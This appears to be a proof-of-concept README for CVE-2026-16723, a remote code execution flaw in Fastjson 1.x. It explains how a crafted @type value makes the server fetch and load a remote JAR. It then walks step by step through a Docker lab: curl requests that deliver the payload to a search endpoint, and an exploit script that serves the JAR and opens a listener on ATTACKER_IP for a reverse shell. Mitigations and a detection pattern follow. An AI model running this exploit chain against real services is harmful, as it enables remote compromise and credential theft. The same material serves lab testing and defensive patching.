CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★

Overview

CVE-2026-16723 is a Remote Code Execution (RCE) vulnerability in Fastjson 1.x (1.2.68 – 1.2.83). When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside checkAutoType. In a Spring Boot executable fat-JAR the class loader resolves that name as a jar:http:// URL and fetches a remote JAR (SSRF), then loads a class carrying the @JSONType annotation even though AutoType is disabled. Because a modern JDK / Tomcat rejects the jar:http:// binary name, the reliable variant seeds the JAR into the JVM cache and re-reads it through jar:file:/proc/self/fd/N, so the class is defined and its static initializer runs, giving code execution. AutoType stays disabled and no classpath gadget is required.

Affected Versions

Impact

• Remote Code Execution as the service account
• Secret / credential disclosure from the host and environment
• Full compromise of the affected application

Environment

The lab target is a public storefront (Northwind Store) whose search API binds its request body with Fastjson. Everything is Fastjson's stock default: SafeMode off, AutoType off, packaged as a Spring Boot fat-JAR.

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723

PoC

The attacker and the target run on the same Docker bridge network, so the target reaches the attacker as an outbound connection (no extra port is published).

Step 1. Confirm the target is up

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

Step 2. Run the exploit on the attacker machine

exploit.py builds the payload JAR, serves it, starts a listener, and prints the request body. Only the callback address is required.

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

Step 3. Deliver the payload

Paste the printed body into the search endpoint (Burp Repeater or curl) and send it. The search request is a normal feature; only its JSON body is crafted.

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

Step 4. Confirm the result

Code runs as the service account. Retrieve the flag through the obtained shell:

whoami

Mitigation

• Migrate to Fastjson 2.x
• Or run com.alibaba:fastjson:1.2.83_noneautotype
• Or start the JVM with -Dfastjson.parser.safeMode=true
• Detection: JSON @type values containing jar:http or jar:file / /proc/self/fd patterns

Analysis

• KR:
• EN: